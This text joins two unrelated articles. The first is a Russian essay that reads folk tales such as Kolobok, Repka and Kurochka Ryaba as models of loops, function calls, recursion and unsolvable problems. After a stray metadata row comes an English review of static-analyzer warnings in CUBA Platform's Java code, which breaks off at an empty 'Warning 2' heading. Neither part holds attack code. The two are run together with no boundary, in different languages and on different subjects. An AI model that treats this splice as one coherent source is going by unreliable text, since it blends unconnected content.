А переход от сказки к написанию кода очень прост: все цепочные сказки самым простым из известных мне способов описывают структуру итерационных и рекурсивных алгоритмов. При этом описание выполнено предоставлением образца алгоритма, и в этом образце очень умело опускаются все не важные для описываемого типа алгоритма детали.
Но в сторону обзоры и общие слова. Начнем рассматривать примеры. Первым у нас на очереди — сказочное описание структуры итерационного процесса накопления с остановкой по изменению условия:
```
acc = []
while not condition:
v=next_item()
do_some(v)
acc.append(v)
```
Итерационный процесс
--------------------
Какая же сказка поможет нам в разборе обусловленного цикла?
Ответим первыми строками этого ценного учебника по программированию циклов:
```
Жил-был старик со старухою.
Просит старик:
— Испеки, старуха, колобок!
```
Да, это сказка ["Колобок"](https://ru.wikisource.org/wiki/%D0%9D%D0%B0%D1%80%D0%BE%D0%B4%D0%BD%D1%8B%D0%B5_%D1%80%D1%83%D1%81%D1%81%D0%BA%D0%B8%D0%B5_%D1%81%D0%BA%D0%B0%D0%B7%D0%BA%D0%B8_(%D0%90%D1%84%D0%B0%D0%BD%D0%B0%D1%81%D1%8C%D0%B5%D0%B2)/%D0%9A%D0%BE%D0%BB%D0%BE%D0%B1%D0%BE%D0%BA). Давайте рассмотрим основные элементы сюжета этой сказки.
В завязке содержания идет инициализация самого важного элемента — выпекание колобка. Чем так важен это элемент? Ответ программисту: Колобок является главной накапливающей переменной, в которой благодаря хорошей "колобковой" памяти запоминается песенка. Ведь эта песенка является главным результатом сказки? Эту песенку мы в детстве запоминали лучше всего? Разберем посредством какого процесса формируется этот результат в выявленном сказочном аккумуляторе.
Этот процесс характеризуется несколькими повторениями сходных действий. Такое повторение является одним из важных признаков цепочной сказки. В "Колобке" повторяется последовательность следующих действий:
* убегание из предыдущей локации,
* встреча с каким-то персонажем,
* и исполнение этому персонажу песенки.
При каждом выполнении этой последовательности персонаж разный, и имя персонажа после исполнения песенки добавляется в эту песенку новой строчкой.
Результат всей сказки сводится к получению песенки, описывающей историю встреч колобка:
```
— Не ешь меня, лиса!
Я тебе песенку спою, — сказал
колобок и запел:
— Я Колобок, Колобок!
Я по коробу скребен,
По сусеку метен,
На сметане мешон,
Да в масле пряжон,
На окошке стужон;
Я от дедушки ушел,
Я от бабушки ушел,
Я от зайца ушел,
Я от волка ушел,
И от медведя ушел,
А от тебя, лиса, и подавно уйду!
```
Цикл такого поведения Колобка никогда бы не закончился, если бы не оказалось условия его остановки. В русских сказках очень часто условием выхода из зацикленных ситуаций является Хитрость. Условием выхода из цикла "колобковых" приключений стала хитрость Лисицы, которая догадалась, что можно не только песенку послушать, но и голод утолить. Тем самым она получила полный набор, как хорошо сказано когда-то, из "хлеба и зрелищ".
Если приводить примеры подобных "Колобку" сюжетов, то сразу можно вспомнить тождественные истории в сказках других стран. Это, например, сказка "Пряничный человечек", у главного персонажа которой не было такой приметной шарообразной формы, но приключения были почти те же. В указателе Томпсона сюжет "Колобка" отнесен в группу Z33.1 «Сбежавший блин: Женщина печёт блин, который убегает. Его тщетно пытаются поймать разные животные. В конце концов его съедает лиса».
Есть сказки подобные сказке "Колобок", которые не полностью совпадают с ней по сюжету. Например, сказка ["Зайкина избушка"](https://ru.wikisource.org/wiki/%D0%9D%D0%B0%D1%80%D0%BE%D0%B4%D0%BD%D1%8B%D0%B5_%D1%80%D1%83%D1%81%D1%81%D0%BA%D0%B8%D0%B5_%D1%81%D0%BA%D0%B0%D0%B7%D0%BA%D0%B8_(%D0%90%D1%84%D0%B0%D0%BD%D0%B0%D1%81%D1%8C%D0%B5%D0%B2)/%D0%9B%D0%B8%D1%81%D0%B0,_%D0%B7%D0%B0%D1%8F%D1%86_%D0%B8_%D0%BF%D0%B5%D1%82%D1%83%D1%85): про ледяную избу Лисы и лубяную избу выселенного Зайца. В этой сказке Заяц накапливал рассказ о своих встречах с неудачливыми помощниками, а условием выхода из цикла была хитрость Петуха, напустившего на Лису страху своими боевыми песенкам-страшилками. Подробности сюжета иные, а его структура полностью аналогична. Это цикл накопления с условием выхода!
[](https://ru.wikipedia.org/wiki/%D0%A1%D0%BB%D0%B5%D0%B4%D1%81%D1%82%D0%B2%D0%B8%D0%B5_%D0%B2%D0%B5%D0%B4%D1%83%D1%82_%D0%9A%D0%BE%D0%BB%D0%BE%D0%B1%D0%BA%D0%B8_(%D0%BC%D1%83%D0%BB%D1%8C%D1%82%D1%84%D0%B8%D0%BB%D1%8C%D0%BC,_1987))
Вызов подфункций
----------------
Но продолжим изучение сказочного программирования. И следующим у нас на очереди — использование вызова подфункций и стека.
Нужна хорошая "функциональная" сказка. И такие тоже есть — это, например, сказка ["Петушок и бобовое зернышко"](https://ru.wikisource.org/wiki/%D0%9D%D0%B0%D1%80%D0%BE%D0%B4%D0%BD%D1%8B%D0%B5_%D1%80%D1%83%D1%81%D1%81%D0%BA%D0%B8%D0%B5_%D1%81%D0%BA%D0%B0%D0%B7%D0%BA%D0%B8_(%D0%90%D1%84%D0%B0%D0%BD%D0%B0%D1%81%D1%8C%D0%B5%D0%B2)/%D0%A1%D0%BC%D0%B5%D1%80%D1%82%D1%8C_%D0%BF%D0%B5%D1%82%D1%83%D1%88%D0%BA%D0%B0).
```
Жили-были петушок и курочка...
Клевал как-то петушок бобовые
зернышки, да второпях и подавился.
```
[](https://cbsvib.ru/petushok-i-bobovoe-zernyishko-russkaya-narodnaya-skazka.html)
Задача ясна — нужно спасать Петушка. А вот решение этой задачи отличается от решения "Задачи колобка". В нём больше сходства с сюжетом "Зайкиной избушки".
Курочке так же как и Зайцу необходимо встретить несколько разных персонажей и попросить помощи, но в задаче "Спасти Петушка" (в отличие от действия "Прогнать Лису из лубяного домика") действие каждого помогающего персонажа, встреченного Курочкой, не может быть выполнено самостоятельно. Помощь и действия персонажа зависят от некоторых действий другого персонажа:
```
— Кузнец, кузнец, дай скорее
хозяину хорошую косу.
Хозяин даст коровушке травы,
коровушка даст молока,
хозяюшка даст мне маслица,
я смажу петушку горлышко:
подавился петушок
бобовым зернышком.
```
Это верно почти для всех персонажей, кроме терминального (или "элементарного"), для которого не требуется использования сторонних действий. В этом случае действие может выполниться сразу. В сказке таким действием стало получение косы от Кузнеца: "Кузнец дал хозяину новую косу".
Так что́ есть зависимые действия? Какие есть элементарные действия? Каков способ организации этих действий с точки зрения программиста?
Вы уже догадались? Конечно, перед нами что-то очень похожее на функции. Есть образцы использования зависимыми функциями для своего исполнения вызовов других функций. Элементарные функции отличаются автономным выполнением. В итоге вся сказка становится руководством по решению задачи путем контроля процесса, состоящего из вызова нескольких таких зависимых функций и одной элементарной функции. В качестве способа контроля такого процесса в сказке предлагается использовать специально организованный набор фраз, часто повторяемый и формируемый Курочкой.
Значит, и в этой сказке есть переменная накопления. На этот раз она хранится в "курочкиной памяти". И способ пополнения данных отличается от "колобкового" способа. Посещенные персонажи перечисляются в тексте Курочки в обратном порядке. Последний посещенный персонаж упоминается первым. Это изменение неслучайно. Таким образом формируется список возвратов к предыдущим персонажам для решения всей задачи Курочки. Это же детское описание стекового способа ([способ организации и манипулирования данными LIFO](https://ru.wikipedia.org/wiki/LIFO), [методы обработки товарно-материальных ценностей FIFO и LIFO](https://ru.wikipedia.org/wiki/FIFO_%D0%B8_LIFO))!
Мы еще раз столкнулись со странным фактом, что в детской сказке описывается на наглядном примере не самая простая программная технология. Этот сказочный образец использования функций был случайно обнаружен мной в процессе чтения сказки детям. Думаю, что это произошло не без влияния профессиональной деформации, которой никак не избежать, если долгое время работаешь программистом.
Да, вызовы функций не являются самой сложной частью в программировании. Вот если бы найти сказочное описание, например, рекурсии. Это было бы действительно примечательно.
Рекурсивный процесс
-------------------
И уже без большого удивления после небольшого перебора запомненных в детстве сказок был обнаружен и этот образец. Сказочное описание рекурсии существует!
Нужная нам сказка сразу начинается с задачи:
```
Посадил дед репку.
Выросла репка большая-пребольшая...
```
Решение задачи в сказке ["Репка"](https://ru.wikisource.org/wiki/%D0%9D%D0%B0%D1%80%D0%BE%D0%B4%D0%BD%D1%8B%D0%B5_%D1%80%D1%83%D1%81%D1%81%D0%BA%D0%B8%D0%B5_%D1%81%D0%BA%D0%B0%D0%B7%D0%BA%D0%B8_(%D0%90%D1%84%D0%B0%D0%BD%D0%B0%D1%81%D1%8C%D0%B5%D0%B2)/%D0%A0%D0%B5%D0%BF%D0%BA%D0%B0) опять опирается на использование персонажей-помощников. Как и в предыдущей рассмотренной сказке каждый новый помощник использует действия другого персонажа, но в отличие от "Бобового зернышка" он использует помощь не следующего персонажа, а — предыдущего. Отличается также характер действий, выполняемых разными персонажами. В "Бобовом зернышке" все действия были разные, а в "Репке" каждый персонаж делает действия сходно с остальными участниками. Если действие так же как и в предыдущей сказке соотносится с вызовом и исполнением функции, то получается, что функция у каждого персонажа одна и та же?
Каждый персонаж выполняет следующее действие:
* Пробует решить задачу.
* Если не может решить, то зовёт другого персонажа.
* Помогает этому персонажу решить похожую задачу, которая с его помощью становится проще.
Это же точно рекурсия?! Почему каждый новый персонаж меньше предыдущего? В детстве отвечал на этот вопрос: потому что так удобнее тянуть. Но в свете рекурсивного объяснения — ответ другой. В сказке так описано, чтобы показать, что задача на каждом шаге упрощается, и в итоге решение становится доступно даже маленькой мышке.
[](https://ru.wikipedia.org/wiki/%D0%A0%D0%B5%D0%BF%D0%BA%D0%B0)
Это же гораздо нагляднее, чем примеры в университете с числами Фибоначчи, где рекурсия применяется для вычисления рекурсивно заданных чисел? После "Репки" сразу понятно для чего рекурсия может быть полезна, и в чём её главная ценность — способность уменьшать размер задачи разделением на несколько зависимых и одинаковых действий.
Можно здесь вспомнить многие примеры рекурсивного программного решения задач на основе принципа ["Разделяй и властвуй" ("Уменьшай и властвуй")](https://ru.wikipedia.org/wiki/%D0%A0%D0%B0%D0%B7%D0%B4%D0%B5%D0%BB%D1%8F%D0%B9_%D0%B8_%D0%B2%D0%BB%D0%B0%D1%81%D1%82%D0%B2%D1%83%D0%B9_(%D0%B8%D0%BD%D1%84%D0%BE%D1%80%D0%BC%D0%B0%D1%82%D0%B8%D0%BA%D0%B0)) — та же быстрая сортировка или бинарный поиск в отсортированном списке. Но, уверен, не стоит пробовать рассказать это ребёнку в качестве полезного образца, чтобы научить поиску решения задач, которые встретятся ему в жизни.
С последней мыслью становится немного яснее, почему сказки так близки к программированию. Сказка — это способ подготовки ребенка к решению появляющихся перед ним задач. А решение задачи с использованием последовательности доступных действий — есть Алгоритм.
Да, очень похоже, что сказкой дети учатся создавать простейшие алгоритмы. Может такой способ обучения будет полезен или хотя бы интересен и программисту? Почти всегда это так. Но есть исключения. Способы создавать вредные алгоритмы тоже есть в детских сказках!
Вред бесконечных циклов
-----------------------
Во всех предыдущих сказках задача успешно решалась, или выполнение прерывалось по некоторому условию. Находилась хитрая Лиса или хитрый Петушок. Находился "автономный" Кузнец. Мышка вытягивала цепочку помощников с репкой на верхушке. А что если такого хитрого, автономного и терминального персонажа в сказке нет? Вдруг Кузнецу понадобится масло для изготовления косы? Ведь задача не будет решена и действия будут продолжаться бесконечно? "Это будет плохо спроектированная сказка" — скажете Вы. И будете правы. Но как это показать ребенку? Как указать ему на необходимость задать условие остановки попыток решения вставшей перед ним задачи?
Конечно, это надо сделать в сказке!
И такие поучительные сказки тоже есть. Их научная классификация — [докучные сказки](https://ru.wikipedia.org/wiki/%D0%94%D0%BE%D0%BA%D1%83%D1%87%D0%BD%D0%B0%D1%8F_%D1%81%D0%BA%D0%B0%D0%B7%D0%BA%D0%B0). Для программиста эти сказки — пояснение вреда бесконечного итерационного или рекурсивного решения задачи в детских условиях, когда еще негде искать диспетчер задач для снятия "зависшего" процесса:
```
while true:
pass
```
```
def f():
f()
```
```
def f():
g()
def g():
f()
```
У всех докучных сказок разное содержание, но выбранный для текущей статьи образец начинается просто:
```
Купи слона...
```
Вы говорите, что он Вам не нужен?
```
Все говорят,
что им слон не нужен.
А ты возьми и купи слона...
```
Соглашаетесь купить?
```
Все соглашаются купить.
А ты возьми и купи слона...
```
Окончания этой сказки не будет.
```
Все думают, что
окончания этой сказки не будет.
А ты возьми и купи слона...
```
[](https://ru.wikiquote.org/wiki/%D0%A1%D0%BB%D0%B5%D0%B4%D1%81%D1%82%D0%B2%D0%B8%D0%B5_%D0%B2%D0%B5%D0%B4%D1%83%D1%82_%D0%9A%D0%BE%D0%BB%D0%BE%D0%B1%D0%BA%D0%B8_(%D0%BC%D1%83%D0%BB%D1%8C%D1%82%D1%84%D0%B8%D0%BB%D1%8C%D0%BC,_1986))
Ну в целом понятно. Если попробовать вставить такую сказку целиком, то это будет очень вредно даже для текущей статьи. Поэтому `killall fairytale_elephant`.
Продолжая размышлять над задачами встающими перед ребенком и над способами обучить его их решать, подходим к самой страшной для программиста теме. А если алгоритма решения нет?
Неразрешимые задачи
-------------------
Ведь существуют задачи, которые никак не решить? Например, некоторые задачи не решить из-за отсутствия в текущий момент соответствующих инструментов. Мы же не будем пробовать забить гвоздь в бетонную стену ладошкой?
Как показать ребенку, что́ ему делать при встрече с такой задачей?
Правильно. И это тоже проще всего сделать сказкой!
И в этом нам поможет самая "бесполезная" и "бессмысленная", как представлялось мне долгие годы, сказка. Начнём с первых строк:
```
Жили-были дед да баба
Была у них курочка ряба.
Снесла курочка яичко,
не простое - золотое...
```
[](https://ru.wikipedia.org/wiki/%D0%9A%D1%83%D1%80%D0%BE%D1%87%D0%BA%D0%B0_%D0%A0%D1%8F%D0%B1%D0%B0)
У сказки ["Курочка ряба"](https://ru.wikisource.org/wiki/%D0%9A%D1%83%D1%80%D0%BE%D1%87%D0%BA%D0%B0_%D0%A0%D1%8F%D0%B1%D0%B0) есть несколько вариантов. Некоторые варианты имеют структуру цепочной сказки с соответствующими несколькими повторами и множеством персонажей, которые подходят и сочувствуют деду и бабушке, расстроившимся из-за нечаянно разбитого яичка. Но самый известный вариант почти лишен итераций, зато в него добавлены самостоятельные попытки разбить яичко и хорошая концовка, в которой Курочка обещает снести другое "простое" яичко.
Варианты окончания сказки не так важны, как важна́ основа её содержания:
```
Дед бил, бил - не разбил.
Баба била, била - не разбила.
```
Здесь у программиста тоже есть прямые аналогии. В программировании пока не говорят о совсем неразрешимых задачах. Но уделяют много внимания задачам, решение которых не получить за приемлемое время. То есть программист пытается оценить насколько сильно задача неразрешима ([классы сложности](https://ru.wikipedia.org/wiki/%D0%9A%D0%BB%D0%B0%D1%81%D1%81_%D1%81%D0%BB%D0%BE%D0%B6%D0%BD%D0%BE%D1%81%D1%82%D0%B8)). Это очень важно для взрослых задач. Но ребенку объяснять это пока рановато. А вот объяснить, что некоторые задачи в нашем мире не получается решить, необходимо.
Так же важно показать ребенку, что неразрешимая задача все же может быть легко выполнена, но с соответствующим инструментом, который может быть очень неожиданным. Например, в разбираемой сказке это хвостик мышки:
```
Мышка бежала, хвостиком задела,
яичко упало и разбилось.
```
Этот малый инструмент для решения задачи очень важен. И его нахождение — самое важное в текущей сказке. А в работе программиста поиск и реализация такого способа — это основной профессиональный навык, за который платят.
Выполняя анализ сказки "Курочка ряба", можно вспомнить об еще одной проблеме в задачах программирования. Корни этой проблемы кроются в соотношении [класса NP-полных задач](https://ru.wikipedia.org/wiki/NP-%D0%BF%D0%BE%D0%BB%D0%BD%D0%B0%D1%8F_%D0%B7%D0%B0%D0%B4%D0%B0%D1%87%D0%B0) и [задач класса P](https://ru.wikipedia.org/wiki/%D0%9A%D0%BB%D0%B0%D1%81%D1%81_P). Для использования многих современных средств защиты данных важен ответ на вопрос: [равны ли классы P и NP](https://ru.wikipedia.org/wiki/%D0%A0%D0%B0%D0%B2%D0%B5%D0%BD%D1%81%D1%82%D0%B2%D0%BE_%D0%BA%D0%BB%D0%B0%D1%81%D1%81%D0%BE%D0%B2_P_%D0%B8_NP). На этом ответе основываются системы шифрования, в которых сложность расшифровать данные без ключа ("мышкиного хвостика") должна намного превосходить сложность расшифровки с наличием этого ключевого инструмента.
Выводы
------
Сказка — ложь, да в ней намек...
Обзор сказок вышел не совсем полным, но дающим основание к следующим шагам в разборе этой темы. В текущей статье мы ограничились только самыми простыми сказками. Более сложные по структуре сказки чаще основываются на демонстрации устойчивых алгоритмов и признаков социального поведения в среде, с которой ребёнок столкнётся в своей жизни. Это отдельный и не менее интересный разговор, но он для другой статьи.
Основной вывод, формулируемый в результате выполненного нами рассмотрения детских сказок, прост. Сказки определенно полезны. Это не просто развлечение. Как минимум их можно использовать в качестве иллюстрационного материала при обучении программированию. Но это только на поверхности. А в глубине вопрос. Если сказки так близки к процессам обучения созданию алгоритмов, то имеют ли они эти процессы своей целью? Совсем иначе стоял бы этот вопрос, если бы автором проанализированных нами сказок был развлекающийся программист или математик, как это было, например, со сказками ["Алиса в Стране чудес"](https://ru.wikipedia.org/wiki/%D0%90%D0%BB%D0%B8%D1%81%D0%B0_%D0%B2_%D0%A1%D1%82%D1%80%D0%B0%D0%BD%D0%B5_%D1%87%D1%83%D0%B4%D0%B5%D1%81) и ["Алиса в Зазеркалье"](https://ru.wikipedia.org/wiki/%D0%90%D0%BB%D0%B8%D1%81%D0%B0_%D0%B2_%D0%97%D0%B0%D0%B7%D0%B5%D1%80%D0%BA%D0%B0%D0%BB%D1%8C%D0%B5).
Но автор рассмотренных сказок — народ. Так может быть, обучение детей создавать алгоритмы для решения задач — это обычная, но скрытая от внимания часть человеческой жизни?
В заключении этой статьи хочется обратить внимание, что приведенный обзор сказок является лишь маленькой частью научной работы, которая посвящена формализации понятия Алгоритм. В контексте этой работы Сказка является доступным текущему поколению способом передать следующему поколению удачные приёмы синтеза алгоритмов поведения. В текущей статье не ставилось задачи полностью формализовать этот способ, но подчеркивается сам факт наличия этого способа в детской сказке.
Главной задачей, поставленной в научной работе, является поиск и развитие алгоритмов для синтеза алгоритмов. Эта задача из разряда "разбить золотое яичко от курочки рябы", но на текущий момент уже крепнет уверенность, что она не относится к совершенно неразрешимым. Необходимо лишь знать ключ-подход к ней. Если говорить в сказочных терминах: необходима мышка с соответствующим хвостиком...
Спасибо Вам за внимание.
Отзывы
------
Буду очень благодарен за отзывы, пожелания и предложения, так как они помогают мне скорректировать направление развития работы в этой области.
Отдельное волнение у меня есть по стилю повествования и форматированию, используемым в статье (кавычки, абзацы, цитаты). Напишите, пожалуйста, если у Вас есть замечания к ним. Можно личным сообщением.
Ссылки
------
* Главная страница работы (GitLab GPL): [Проект "Общая теория алгоритмов"](https://gitlab.com/aiborisov84/ai_borisov_CIT/-/wikis/Home)
* Вводная статья работы ["Разрабатываем теорию алгоритмов как проект с открытым исходным кодом"](https://habr.com/ru/post/446066/). Пожалуйста, не судите строго эту наивную публикацию "сверх-идеи" устаревшей версии 2019 года.
* Статьи серии "Что такое алгоритм?!"
+ [№1 "Действие"](https://habr.com/ru/post/504008/),
+ [№2 "Обусловленная и связная последовательность"](https://habr.com/ru/post/506588/),
+ [№3 "Синтез алгоритма запоминанием"](https://habr.com/ru/post/507788/)
+ [№4 "Эволюция памяти"](https://habr.com/ru/post/509600/)
+ [№5 "Копирование иерархии памяти"](https://habr.com/ru/post/511412/)
* Для заглавной иллюстрации к статье взят [рисунок с обложки книги «Репка. Лиса и журавль». Издание Кнебель, 1916](https://commons.wikimedia.org/wiki/File:%D0%A0%D0%B5%D0%BF%D0%BA%D0%B0_%D0%98%D0%B7%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_%D0%9A%D0%BD%D0%B5%D0%B1%D0%B5%D0%BB%D1%8C.png)
* Иллюстрация к сказке "Колобок" и "Репка" выполнены [Елизаветой Меркурьевной Бём](https://ru.wikipedia.org/wiki/%D0%91%D1%91%D0%BC,_%D0%95%D0%BB%D0%B8%D0%B7%D0%B0%D0%B2%D0%B5%D1%82%D0%B0_%D0%9C%D0%B5%D1%80%D0%BA%D1%83%D1%80%D1%8C%D0%B5%D0%B2%D0%BD%D0%B0)
* Иллюстрация к сказке "Петушок и бобовое зернышко" является титульной страницей одноименной книги издательства "Малыш" 1981 г.
* Иллюстрация к сказке "Курочка Ряба" является титульной страницей одноименной книги издательства Г.Ф. Мириманова 1926 г.
* Несколько иллюстраций сделаны на основе кадров мультфильма ["Следствие ведут Колобки" (1987)](https://ru.wikipedia.org/wiki/%D0%A1%D0%BB%D0%B5%D0%B4%D1%81%D1%82%D0%B2%D0%B8%D0%B5_%D0%B2%D0%B5%D0%B4%D1%83%D1%82_%D0%9A%D0%BE%D0%BB%D0%BE%D0%B1%D0%BA%D0%B8_(%D0%BC%D1%83%D0%BB%D1%8C%D1%82%D1%84%D0%B8%D0%BB%D1%8C%D0%BC,_1987)) | https://habr.com/ru/post/548114/ | null | ru | null |
# Analyzing the Code of CUBA Platform with PVS-Studio
Java developers have access to a number of useful tools that help to write high-quality code such as the powerful IDE IntelliJ IDEA, free analyzers SpotBugs, PMD, and the like. The developers working on CUBA Platform have already been using all of these, and this review will show how the project can benefit even more from the use of the static code analyzer PVS-Studio.
A few words about the project and the analyzer
----------------------------------------------
[CUBA Platform](https://www.cuba-platform.com/) is a high-level framework for enterprise application development. The platform abstracts developers from underlying technologies so they can focus on the business tasks, while retaining full flexibility by providing unrestricted access to low-level code. The source code was downloaded from [GitHub](https://github.com/cuba-platform/cuba).
[PVS-Studio](https://www.viva64.com/en/pvs-studio/) is a tool for detecting bugs and potential security vulnerabilities in the source code of programs written in C, C++, C#, and Java. The analyzer runs on 64-bit Windows, Linux, and macOS systems. To make things easier for Java programmers, we developed plugins for Maven, Gradle, and IntelliJ IDEA. I checked the project using the Gradle plugin, and it went off without a hitch.
Errors in conditions
--------------------
**Warning 1**
[V6007](https://www.viva64.com/en/w/v6007/) Expression 'StringUtils.isNotEmpty(«handleTabKey»)' is always true. SourceCodeEditorLoader.java(60)
```
@Override
public void loadComponent() {
....
String handleTabKey = element.attributeValue("handleTabKey");
if (StringUtils.isNotEmpty("handleTabKey")) {
resultComponent.setHandleTabKey(Boolean.parseBoolean(handleTabKey));
}
....
}
```
The attribute value extracted from the element is not checked. Instead, the *isNotEmpty* function gets a string literal as its argument rather than the variable *handleTabKey*.
A similar error found in the file AbstractTableLoader.java:
* V6007 Expression 'StringUtils.isNotEmpty(«editable»)' is always true. AbstractTableLoader.java(596)
**Warning 2**
[V6007](https://www.viva64.com/en/w/v6007/) Expression 'previousMenuItemFlatIndex >= 0' is always true. CubaSideMenuWidget.java(328)
```
protected MenuItemWidget findNextMenuItem(MenuItemWidget currentItem) {
List menuTree = buildVisibleTree(this);
List menuItemWidgets = menuTreeToList(menuTree);
int menuItemFlatIndex = menuItemWidgets.indexOf(currentItem);
int previousMenuItemFlatIndex = menuItemFlatIndex + 1;
if (previousMenuItemFlatIndex >= 0) {
return menuItemWidgets.get(previousMenuItemFlatIndex);
}
return null;
}
```
The *indexOf* function will return *-1* if the element is not found in the list. The value *1* is then added to the index, which disguises the problem with the absent element. Another potential problem has to do with the fact that the *previousMenuItemFlatIndex* variable will always be greater than or equal to zero. For example, if the *menuItemWidgets* list is found to be empty, the program will end up with an array overrun.
**Warning 3**
[V6009](https://www.viva64.com/en/w/v6009/) The 'delete' function could receive the '-1' value while non-negative value is expected. Inspect argument: 1. AbstractCollectionDatasource.java(556)
```
protected DataLoadContextQuery createDataQuery(....) {
....
StringBuilder orderBy = new StringBuilder();
....
if (orderBy.length() > 0) {
orderBy.delete(orderBy.length() - 2, orderBy.length());
orderBy.insert(0, " order by ");
}
....
}
```
The last two characters of the *orderBy* buffer are deleted if the total number of elements is greater than zero, i.e. if the string contains at least one character. However, the start position from where the deletion begins is offset by 2. So, if *orderBy* happens to contain one character, attempting to delete it will raise a *StringIndexOutOfBoundsException*.
**Warning 4**
[V6013](https://www.viva64.com/en/w/v6013/) Objects 'masterCollection' and 'entities' are compared by reference. Possibly an equality comparison was intended. CollectionPropertyContainerImpl.java(81)
```
@Override
public void setItems(@Nullable Collection entities) {
super.setItems(entities);
Entity masterItem = master.getItemOrNull();
if (masterItem != null) {
MetaProperty masterProperty = getMasterProperty();
Collection masterCollection = masterItem.getValue(masterProperty.getName());
if (masterCollection != entities) {
updateMasterCollection(masterProperty, masterCollection, entities);
}
}
}
```
In the *updateMasterCollection* function, the values from *entities* are copied to *masterCollection*. One line earlier, the collections have been compared by reference, but the programmer probably intended it to be a comparison by value.
**Warning 5**
[V6013](https://www.viva64.com/en/w/v6013/) Objects 'value' and 'oldValue' are compared by reference. Possibly an equality comparison was intended. WebOptionsList.java(278)
```
protected boolean isCollectionValuesChanged(Collection *value,
Collection *oldValue) {
return value != oldValue;
}**
```
This case is similar to the previous one. The collections are compared in the *isCollectionValuesChanged* function, and reference comparison is perhaps not what was intended here either.
Redundant conditions
--------------------
**Warning 1**
[V6007](https://www.viva64.com/en/w/v6007/) Expression 'mask.charAt(i + offset) != placeHolder' is always true. DatePickerDocument.java(238)
```
private String calculateFormattedString(int offset, String text) .... {
....
if ((mask.charAt(i + offset) == placeHolder)) { // <=
....
} else if ((mask.charAt(i + offset) != placeHolder) && // <=
(Character.isDigit(text.charAt(i)))) {
....
}
....
}
```
The second condition checks an expression that is opposite to the one checked in the first condition. The latter can, therefore, be safely removed to shorten the code.
[V6007](https://www.viva64.com/en/w/v6007/) Expression 'connector == null' is always false. HTML5Support.java(169)
```
private boolean validate(NativeEvent event) {
....
while (connector == null) {
widget = widget.getParent();
connector = Util.findConnectorFor(widget);
}
if (this.connector == connector) {
return true;
} else if (connector == null) { // <=
return false;
} else if (connector.getWidget() instanceof VDDHasDropHandler) {
return false;
}
return true;
}
```
After leaving the *while* loop, the value of the *connector* variable won't be equal to *null*, so the redundant check can be deleted.
Another suspicious warning of this type that needs to be examined:
* V6007 Expression 'StringUtils.isBlank(strValue)' is always true. Param.java(818)
Unreachable code in tests
-------------------------
[V6019](https://www.viva64.com/en/w/v6019/) Unreachable code detected. It is possible that an error is present. TransactionTest.java(283)
```
private void throwException() {
throw new RuntimeException(TEST_EXCEPTION_MSG);
}
@Test
public void testSuspendRollback() {
Transaction tx = cont.persistence().createTransaction();
try {
....
Transaction tx1 = cont.persistence().createTransaction();
try {
EntityManager em1 = cont.persistence().getEntityManager();
assertTrue(em != em1);
Server server1 = em1.find(Server.class, server.getId());
assertNull(server1);
throwException(); // <=
tx1.commit(); // <=
} catch (Exception e) {
//
} finally {
tx1.end();
}
tx.commit();
} finally {
tx.end();
}
}
```
The *throwException* function throws an exception that prevents execution of the call of *tx1.commit*. Those two lines should be swapped for the code to work properly.
There were a few similar problems in other tests too:
* V6019 Unreachable code detected. It is possible that an error is present. TransactionTest.java(218)
* V6019 Unreachable code detected. It is possible that an error is present. TransactionTest.java(163)
* V6019 Unreachable code detected. It is possible that an error is present. TransactionTest.java(203)
* V6019 Unreachable code detected. It is possible that an error is present. TransactionTest.java(137)
* V6019 Unreachable code detected. It is possible that an error is present. UpdateDetachedTest.java(153)
* V6019 Unreachable code detected. It is possible that an error is present. EclipseLinkDetachedTest.java(132)
* V6019 Unreachable code detected. It is possible that an error is present. PersistenceTest.java(223)
Suspicious arguments
--------------------
**Warning 1**
[V6023](https://www.viva64.com/en/w/v6023/) Parameter 'salt' is always rewritten in method body before being used. BCryptEncryptionModule.java(47)
```
@Override
public String getHash(String content, String salt) {
salt = BCrypt.gensalt();
return BCrypt.hashpw(content, salt);
}
```
In cryptography, *salt* is a data string that you pass along with the password to a hash function. It is mainly used to protect the program against dictionary attacks and rainbow table attacks, as well as to obscure identical passwords. More here: [Salt (cryptography)](https://en.wikipedia.org/wiki/Salt_(cryptography)).
In this function, the passed string is overwritten right after entering. Ignoring the value passed to the function is a potential vulnerability.
**Warning 2**
This function triggered two warnings at once:
* [V6023](https://www.viva64.com/en/w/v6023/) Parameter 'offsetWidth' is always rewritten in method body before being used. CubaSuggestionFieldWidget.java(433)
* [V6023](https://www.viva64.com/en/w/v6023/) Parameter 'offsetHeight' is always rewritten in method body before being used. CubaSuggestionFieldWidget.java(433)
```
@Override
public void setPosition(int offsetWidth, int offsetHeight) {
offsetHeight = getOffsetHeight();
....
if (offsetHeight + getPopupTop() > ....)) {
....
}
....
offsetWidth = containerFirstChild.getOffsetWidth();
if (offsetWidth + getPopupLeft() > ....)) {
....
} else {
left = getPopupLeft();
}
setPopupPosition(left, top);
}
```
That's quite a curious snippet. The function is called with only two variables as arguments, *offsetWidth* and *offsetHeight*, and both are overwritten before use.
**Warning 3**
[V6022](https://www.viva64.com/en/w/v6022/) Parameter 'shortcut' is not used inside constructor body. DeclarativeTrackingAction.java(47)
```
public DeclarativeTrackingAction(String id, String caption, String description,
String icon, String enable, String visible,
String methodName, @Nullable String shortcut,
ActionsHolder holder) {
super(id);
this.caption = caption;
this.description = description;
this.icon = icon;
setEnabled(enable == null || Boolean.parseBoolean(enable));
setVisible(visible == null || Boolean.parseBoolean(visible));
this.methodName = methodName;
checkActionsHolder(holder);
}
```
The function doesn't make use of the value passed as the *shortcut* parameter. Maybe the function's interface has become obsolete, or this warning is just a false positive.
A few more defects of this type:
* V6022 Parameter 'type' is not used inside constructor body. QueryNode.java(36)
* V6022 Parameter 'text2' is not used inside constructor body. MarkerAddition.java(22)
* V6022 Parameter 'selection' is not used inside constructor body. AceEditor.java(114)
* V6022 Parameter 'options' is not used inside constructor body. EntitySerialization.java(379)
Different functions, same code
------------------------------
**Warning 1**
[V6032](https://www.viva64.com/en/w/v6032/) It is odd that the body of method 'firstItemId' is fully equivalent to the body of another method 'lastItemId'. ContainerTableItems.java(213), ContainerTableItems.java(219)
```
@Override
public Object firstItemId() {
List items = container.getItems();
return items.isEmpty() ? null : items.get(0).getId();
}
@Override
public Object lastItemId() {
List items = container.getItems();
return items.isEmpty() ? null : items.get(0).getId();
}
```
The functions *firstItemId* and *lastItemId* have the same implementations. The latter was probably meant to get the index of the last element rather than get the element at index 0.
**Warning 2**
